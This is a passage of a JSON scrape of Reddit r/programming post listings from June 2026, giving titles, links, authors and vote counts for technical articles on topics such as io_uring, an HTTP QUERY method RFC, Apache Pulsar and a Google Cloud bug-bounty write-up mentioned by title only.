  "title": "Vulnerability Reports Are Not Special Anymore",
  "body": null,
  "author": "cake-day-on-feb-29",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.36,
  "numComments": 0,
  "createdAt": "2026-06-24T04:38:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://words.filippo.io/vuln-reports/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1udxdd5",
  "url": "https://pulsar.apache.org/blog/2026/06/23/announcing-apache-pulsar-5-0-m1/",
  "permalink": "https://www.reddit.com/r/programming/comments/1udxdd5/apache_pulsar_500m1_introducing_scalable_topics/",
  "title": "Apache Pulsar 5.0.0-M1: introducing Scalable Topics — topics that split/merge themselves, no partition count required",
  "body": null,
  "author": "mmerli",
  "subreddit": "programming",
  "score": 37,
  "upvoteRatio": 0.93,
  "numComments": 0,
  "createdAt": "2026-06-23T23:42:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://pulsar.apache.org/blog/2026/06/23/announcing-apache-pulsar-5-0-m1/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1udwfsp",
  "url": "https://datatracker.ietf.org/doc/rfc10008/",
  "permalink": "https://www.reddit.com/r/programming/comments/1udwfsp/new_http_query_method/",
  "title": "New HTTP QUERY Method",
  "body": "What do you think about the new HTTP Query method?",
  "author": "Perfect-Scale902",
  "subreddit": "programming",
  "score": 839,
  "upvoteRatio": 0.96,
  "numComments": 172,
  "createdAt": "2026-06-23T23:02:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://datatracker.ietf.org/doc/rfc10008/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1udpvi2",
  "url": "https://youtu.be/ha4gSmzaQaE",
  "permalink": "https://www.reddit.com/r/programming/comments/1udpvi2/clojure_exception_handling/",
  "title": "Clojure Exception Handling",
  "body": null,
  "author": "Efficient-Public-551",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 3,
  "createdAt": "2026-06-23T18:49:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/ha4gSmzaQaE",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1udnrv1",
  "url": "https://blog.arusekk.pl/posts/lossless-gif-recompression/",
  "permalink": "https://www.reddit.com/r/programming/comments/1udnrv1/lossless_gif_recompression_via_exhaustive_search/",
  "title": "Lossless GIF recompression via exhaustive search",
  "body": null,
  "author": "Dear-Economics-315",
  "subreddit": "programming",
  "score": 13,
  "upvoteRatio": 0.76,
  "numComments": 3,
  "createdAt": "2026-06-23T17:34:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.arusekk.pl/posts/lossless-gif-recompression/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1udnql0",
  "url": "https://nand2mario.github.io/posts/2026/80386_early_start/",
  "permalink": "https://www.reddit.com/r/programming/comments/1udnql0/80386_early_start_memory_access/",
  "title": "80386 Early Start Memory Access",
  "body": null,
  "author": "lelanthran",
  "subreddit": "programming",
  "score": 18,
  "upvoteRatio": 0.88,
  "numComments": 0,
  "createdAt": "2026-06-23T17:32:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://nand2mario.github.io/posts/2026/80386_early_start/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1udhtw1",
  "url": "https://www.emulationonline.com/systems/gpu/intro-to-gpus/",
  "permalink": "https://www.reddit.com/r/programming/comments/1udhtw1/intro_to_gpus/",
  "title": "Intro to GPUs",
  "body": null,
  "author": "elemenity",
  "subreddit": "programming",
  "score": 48,
  "upvoteRatio": 0.91,
  "numComments": 0,
  "createdAt": "2026-06-23T13:55:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.emulationonline.com/systems/gpu/intro-to-gpus/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1udgdid",
  "url": "https://youtu.be/BQYIBKIzY5g",
  "permalink": "https://www.reddit.com/r/programming/comments/1udgdid/facilitating_software_architecture_empowering/",
  "title": "Facilitating Software Architecture: Empowering Teams to Make Architectural Decisions • Andrew Harmel-Law",
  "body": null,
  "author": "goto-con",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.29,
  "numComments": 0,
  "createdAt": "2026-06-23T12:54:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/BQYIBKIzY5g",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1udfw2y",
  "url": "https://vnmakarov.github.io/data%20structures/c/c++/open-source/2026/06/23/two-indexed-hash-tables.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1udfw2y/two_indexed_hash_tables/",
  "title": "Two Indexed Hash Tables",
  "body": null,
  "author": "compilersarefun",
  "subreddit": "programming",
  "score": 43,
  "upvoteRatio": 0.98,
  "numComments": 3,
  "createdAt": "2026-06-23T12:33:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://vnmakarov.github.io/data%20structures/c/c++/open-source/2026/06/23/two-indexed-hash-tables.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1udfbpk",
  "url": "https://alexandrehtrb.github.io/periodic_table_of_computing.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1udfbpk/periodic_table_of_computing/",
  "title": "Periodic Table of Computing",
  "body": null,
  "author": "macrohard_certified",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.71,
  "numComments": 4,
  "createdAt": "2026-06-23T12:07:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://alexandrehtrb.github.io/periodic_table_of_computing.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1udeuz8",
  "url": "https://fishjam.swmansion.com/blog/livestreaming-trilemma-hls-webrtc-moq",
  "permalink": "https://www.reddit.com/r/programming/comments/1udeuz8/livestreaming_trilemma_pick_two_of_scale_latency/",
  "title": "Livestreaming Trilemma: pick two of scale, latency, and cost, and how Media over QUIC goes after all three",
  "body": "\n\n>",
  "author": "carlievanilla",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.42,
  "numComments": 0,
  "createdAt": "2026-06-23T11:45:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fishjam.swmansion.com/blog/livestreaming-trilemma-hls-webrtc-moq",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1udepco",
  "url": "https://brutecat.com/articles/google-cloud-rce/",
  "permalink": "https://www.reddit.com/r/programming/comments/1udepco/stubzero_148337_rce_in_google_cloud_production/",
  "title": "StubZero: $148,337 RCE in Google Cloud Production",
  "body": null,
  "author": "CircumspectCapybara",
  "subreddit": "programming",
  "score": 87,
  "upvoteRatio": 0.91,
  "numComments": 9,
  "createdAt": "2026-06-23T11:37:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://brutecat.com/articles/google-cloud-rce/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1udeleo",
  "url": "https://blog.octo.com/event-driven-architecture-chez-octo--episode-2-la-theorie",
  "permalink": "https://www.reddit.com/r/programming/comments/1udeleo/eventdriven_architecture_chez_octo_épisode_2_la/",
  "title": "Event-Driven Architecture chez Octo : épisode 2, la théorie - OCTO Talks ! (French)",
  "body": null,
  "author": "grouvi",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.57,
  "numComments": 0,
  "createdAt": "2026-06-23T11:32:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.octo.com/event-driven-architecture-chez-octo--episode-2-la-theorie",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1udda9b",
  "url": "https://matklad.github.io/2026/06/04/css-unavoidable-bad-parts.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1udda9b/css_unavoidable_bad_parts/",
  "title": "CSS: Unavoidable Bad Parts",
  "body": null,
  "author": "alexeyr",
  "subreddit": "programming",
  "score": 15,
  "upvoteRatio": 0.69,
  "numComments": 5,
  "createdAt": "2026-06-23T10:22:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://matklad.github.io/2026/06/04/css-unavoidable-bad-parts.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1udcab2",
  "url": "https://questdb.com/blog/lies-damn-lies-and-database-benchmarks/",
  "permalink": "https://www.reddit.com/r/programming/comments/1udcab2/lies_damn_lies_and_database_benchmarks/",
  "title": "Lies, Damn Lies and Database Benchmarks",
  "body": null,
  "author": "j1897OS",
  "subreddit": "programming",
  "score": 163,
  "upvoteRatio": 0.95,
  "numComments": 15,
  "createdAt": "2026-06-23T09:24:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://questdb.com/blog/lies-damn-lies-and-database-benchmarks/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1udb1cg",
  "url": "https://jchri.st/blog/in-praise-of-memcached/",
  "permalink": "https://www.reddit.com/r/programming/comments/1udb1cg/in_praise_of_memcached/",
  "title": "In praise of memcached",
  "body": null,
  "author": "Either_Collection349",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.57,
  "numComments": 7,
  "createdAt": "2026-06-23T08:10:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jchri.st/blog/in-praise-of-memcached/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ud9y09",
  "url": "https://medium.com/yandex/yaff-goes-open-source-why-we-built-a-zero-copy-representation-for-protobuf-cdc075be40e4",
  "permalink": "https://www.reddit.com/r/programming/comments/1ud9y09/solving_llvms_mayalias_bottleneck_in_zerocopy/",
  "title": "Solving LLVM's MayAlias bottleneck in zero-copy serialization formats",
  "body": null,
  "author": "aegismuzuz",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 1,
  "createdAt": "2026-06-23T07:05:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/yandex/yaff-goes-open-source-why-we-built-a-zero-copy-representation-for-protobuf-cdc075be40e4",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ud99vw",
  "url": "https://piotrminkowski.com/2026/06/23/quarkus-rest-with-apache-camel-and-keycloak/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ud99vw/quarkus_rest_with_apache_camel_and_keycloak/",
  "title": "Quarkus REST with Apache Camel and Keycloak",
  "body": null,
  "author": "piotr_minkowski",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.43,
  "numComments": 0,
  "createdAt": "2026-06-23T06:26:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://piotrminkowski.com/2026/06/23/quarkus-rest-with-apache-camel-and-keycloak/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ud91ce",
  "url": "https://youtu.be/Xsd02ebVv4w",
  "permalink": "https://www.reddit.com/r/programming/comments/1ud91ce/state_of_the_art_of_platform_engineering_abby/",
  "title": "State of the Art of Platform Engineering • Abby Bangser & Charles Humble",
  "body": null,
  "author": "goto-con",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.7,
  "numComments": 1,
  "createdAt": "2026-06-23T06:13:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/Xsd02ebVv4w",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ud8p4p",
  "url": "https://devblogs.microsoft.com/oldnewthing/20260622-00/?p=112451",
  "permalink": "https://www.reddit.com/r/programming/comments/1ud8p4p/in_memory_of_the_man_who_put_red_squiggles_under/",
  "title": "In memory of the man who put red squiggles under words",
  "body": null,
  "author": "mareek",
  "subreddit": "programming",
  "score": 886,
  "upvoteRatio": 0.98,
  "numComments": 52,
  "createdAt": "2026-06-23T05:54:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://devblogs.microsoft.com/oldnewthing/20260622-00/?p=112451",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ucyvz6",
  "url": "https://blog.codinghorror.com/every-choice-changes-everything-the-show/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ucyvz6/every_choice_changes_everything_the_show/",
  "title": "Every Choice Changes Everything: The Show",
  "body": null,
  "author": "dwaxe",
  "subreddit": "programming",
  "score": 11,
  "upvoteRatio": 0.83,
  "numComments": 0,
  "createdAt": "2026-06-22T22:17:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.codinghorror.com/every-choice-changes-everything-the-show/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ucuctt",
  "url": "https://www.youtube.com/watch?v=jH0BYAkPj78",
  "permalink": "https://www.reddit.com/r/programming/comments/1ucuctt/microsofts_secret_90s_weapon_that_made_windows/",
  "title": "Microsoft's Secret 90s Weapon That Made Windows Fast",
  "body": null,
  "author": "dukey",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.37,
  "numComments": 7,
  "createdAt": "2026-06-22T19:28:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=jH0BYAkPj78",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uck3ll",
  "url": "https://blog.andr2i.com/posts/2026-06-22-optimization-catalog-how-4-bytes-of-padding-make-array-clearing-49-faster",
  "permalink": "https://www.reddit.com/r/programming/comments/1uck3ll/how_4_bytes_of_padding_make_array_clearing_49/",
  "title": "How 4 bytes of padding make array clearing 49% faster",
  "body": "I wrote about interesting amd64-specific quirk. If a large array is 4-byte misaligned, making it 8-byte aligned can make the array clearing ~49% faster (at least on my Intel machine). In the post I also touch on Intel's `REP STOSQ` implementation, ERMS and also on other optimizations related to array clearing.",
  "author": "watman12",
  "subreddit": "programming",
  "score": 379,
  "upvoteRatio": 0.94,
  "numComments": 55,
  "createdAt": "2026-06-22T13:07:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.andr2i.com/posts/2026-06-22-optimization-catalog-how-4-bytes-of-padding-make-array-clearing-49-faster",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uck0d4",
  "url": "https://www.youtube.com/watch?v=2ECucq-mTGg",
  "permalink": "https://www.reddit.com/r/programming/comments/1uck0d4/datastar_its_pretty_good_with_david_nolen/",
  "title": "Datastar: It’s Pretty Good — with David Nolen",
  "body": null,
  "author": "andersmurphy",
  "subreddit": "programming",
  "score": 14,
  "upvoteRatio": 0.67,
  "numComments": 13,
  "createdAt": "2026-06-22T13:03:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=2ECucq-mTGg",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ucjpku",
  "url": "https://tiki.li/blog/lucky_code.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1ucjpku/your_code_is_fast_if_youre_lucky/",
  "title": "Your code is fast - if you’re lucky",
  "body": null,
  "author": "chkas",
  "subreddit": "programming",
  "score": 31,
  "upvoteRatio": 0.77,
  "numComments": 6,
  "createdAt": "2026-06-22T12:50:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tiki.li/blog/lucky_code.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uchjlr",
  "url": "https://matklad.github.io/2026/04/20/test-case-minimization.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1uchjlr/256_lines_or_less_test_case_minimization/",
  "title": "256 Lines or Less: Test Case Minimization",
  "body": null,
  "author": "alexeyr",
  "subreddit": "programming",
  "score": 31,
  "upvoteRatio": 0.88,
  "numComments": 3,
  "createdAt": "2026-06-22T11:04:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://matklad.github.io/2026/04/20/test-case-minimization.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uch33d",
  "url": "https://docs.deno.com/runtime/desktop/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uch33d/deno_desktop_apps/",
  "title": "Deno Desktop Apps",
  "body": null,
  "author": "Successful_Bowl2564",
  "subreddit": "programming",
  "score": 135,
  "upvoteRatio": 0.91,
  "numComments": 15,
  "createdAt": "2026-06-22T10:40:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://docs.deno.com/runtime/desktop/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ucdszk",
  "url": "https://ruurtjan.com/articles/p99-0ms-autocomplete-for-240-million-domain-names",
  "permalink": "https://www.reddit.com/r/programming/comments/1ucdszk/p99_0_ms_autocomplete_for_240_million_domain_names/",
  "title": "p99 0 ms* autocomplete for 240 million domain names",
  "body": null,
  "author": "ruurtjan",
  "subreddit": "programming",
  "score": 328,
  "upvoteRatio": 0.92,
  "numComments": 49,
  "createdAt": "2026-06-22T07:25:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ruurtjan.com/articles/p99-0ms-autocomplete-for-240-million-domain-names",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ucbqy0",
  "url": "https://youtu.be/4D7LPloaBFY",
  "permalink": "https://www.reddit.com/r/programming/comments/1ucbqy0/io_uring_feels_illegal/",
  "title": "io_uring Feels Illegal",
  "body": "A visual walkthrough of how `io_uring` works: shared rings, SQEs/CQEs, batching, SQPOLL, multishot operations, linked operations, fixed/provided buffers, and the tradeoffs that come with exposing such a powerful linux kernel interface.",
  "author": "Ok_Marionberry8922",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.39,
  "numComments": 1,
  "createdAt": "2026-06-22T05:25:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/4D7LPloaBFY",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ucbe72",
  "url": "https://fgiesen.wordpress.com/2026/06/21/pivco-huffman-merge-operations/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ucbe72/pivcohuffman_merge_operations/",
  "title": "PivCo-Huffman “merge” operations",
  "body": null,
  "author": "mttd",
  "subreddit": "programming",
  "score": 11,
  "upvoteRatio": 0.76,
  "numComments": 0,
  "createdAt": "2026-06-22T05:06:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fgiesen.wordpress.com/2026/06/21/pivco-huffman-merge-operations/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ubwqzn",
  "url": "https://medium.com/@okoanton/openapi-security-scheme-aed2e762b7d5",
  "permalink": "https://www.reddit.com/r/programming/comments/1ubwqzn/a_practical_guide_to_describing_authentication/",
  "title": "A practical guide to describing authentication and authorization in OpenAPI.",
  "body": "Hope it helps anyone documenting or reviewing API specs.",
  "author": "AntonOkolelov",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.52,
  "numComments": 2,
  "createdAt": "2026-06-21T18:03:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@okoanton/openapi-security-scheme-aed2e762b7d5",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ubsndj",
  "url": "https://sibexi.co/posts/epoll-vs-io_uring/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ubsndj/epoll_vs_io_uring_in_linux/",
  "title": "epoll vs io_uring in Linux",
  "body": null,
  "author": "yusufaytas",
  "subreddit": "programming",
  "score": 117,
  "upvoteRatio": 0.9,
  "numComments": 21,
  "createdAt": "2026-06-21T15:17:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://sibexi.co/posts/epoll-vs-io_uring/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ubn4uj",
  "url": "https://discuss.ocaml.org/t/ocaml-5-5-0-released/18265",
  "permalink": "https://www.reddit.com/r/programming/comments/1ubn4uj/ocaml_550_released/",
  "title": "OCaml 5.5.0 released",
  "body": null,
  "author": "Personal_Rough6944",
  "subreddit": "programming",
  "score": 256,
  "upvoteRatio": 0.94,
  "numComments": 20,
  "createdAt": "2026-06-21T10:57:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://discuss.ocaml.org/t/ocaml-5-5-0-released/18265",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ub6bqs",
  "url": "https://mnot.net/blog/2026/well_known_uris",
  "permalink": "https://www.reddit.com/r/programming/comments/1ub6bqs/so_you_want_to_define_a_wellknown_uri/",
  "title": "So You Want To Define a Well-Known URI",
  "body": null,
  "author": "BlondieCoder",
  "subreddit": "programming",
  "score": 95,
  "upvoteRatio": 0.86,
  "numComments": 9,
  "createdAt": "2026-06-20T20:14:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mnot.net/blog/2026/well_known_uris",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uazs9j",
  "url": "https://sema-lang.com/docs/internals/build-a-bytecode-vm.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1uazs9j/build_a_bytecode_vm_in_sema/",
  "title": "Build a Bytecode VM (in Sema)",
  "body": null,
  "author": "TheHelgeSverre",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.39,
  "numComments": 2,
  "createdAt": "2026-06-20T15:44:11.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://sema-lang.com/docs/internals/build-a-bytecode-vm.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uataxc",
  "url": "https://som-itsolutions.hashnode.dev/the-story-of-pybinding-a-python-wrapper-around-c",
  "permalink": "https://www.reddit.com/r/programming/comments/1uataxc/the_story_of_pybinding_a_python_wrapper_around_c/",
  "title": "The story of Pybinding - a python wrapper around C++...",
  "body": "The story starts with a common problem: Python is a fantastic language for rapid prototyping, data analysis, and orchestrating complex tasks. However, when it comes to raw computational speed, especially for number-crunching or highly parallelized operations, it can fall short. C++ and other compiled languages, on the other hand, excel in these areas. The question was: how do you get the best of both worlds? How do you write the performance-critical parts of your application in C++ while still enjoying the development speed and ecosystem of Python?\n\nThe answer was to create a \"binding\" – a bridge that allows Python to call C++ code as if it were native Python. Early efforts in this space, such as **Boost.Python**, were powerful but often came with a steep learning curve and significant compilation overhead. They were a bit like using a sledgehammer to crack a nut – effective, but perhaps a bit unwieldy for many use cases.\n\nHave a look at how neat the python code looks; however, the actual job is done by the background C++.\n\n    import libfoodfactory\n    biscuit = libfoodfactory.make_food(\"bi\")\n    print(biscuit.get_name())\n    chocolate = libfoodfactory.make_food(\"ch\")\n    print(chocolate.get_name())\n\nDo you like the story?\n\nClick on the link and learn about pyBinding - a glue to stitch C++ and Python...",
  "author": "sommukhopadhyay",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.36,
  "numComments": 4,
  "createdAt": "2026-06-20T10:34:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://som-itsolutions.hashnode.dev/the-story-of-pybinding-a-python-wrapper-around-c",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uaodhr",
  "url": "https://openjsf.org/blog/burnout-is-real-for-open-source-maintainers",
  "permalink": "https://www.reddit.com/r/programming/comments/1uaodhr/burnout_is_real_for_open_source_maintainers_a/",
  "title": "Burnout Is Real for Open Source Maintainers: A Conversation with John-David Dalton, Creator of Lodash",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 363,
  "upvoteRatio": 0.94,
  "numComments": 61,
  "createdAt": "2026-06-20T05:37:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://openjsf.org/blog/burnout-is-real-for-open-source-maintainers",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uaek5f",
  "url": "https://www.timwehrle.de/blog/i-stored-a-website-in-a-favicon/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uaek5f/i_stored_a_website_in_a_favicon/",
  "title": "I Stored a Website in a Favicon",
  "body": "A small experiment of mine :) \n\nHappy to hear your thought about this",
  "author": "soupgasm",
  "subreddit": "programming",
  "score": 197,
  "upvoteRatio": 0.86,
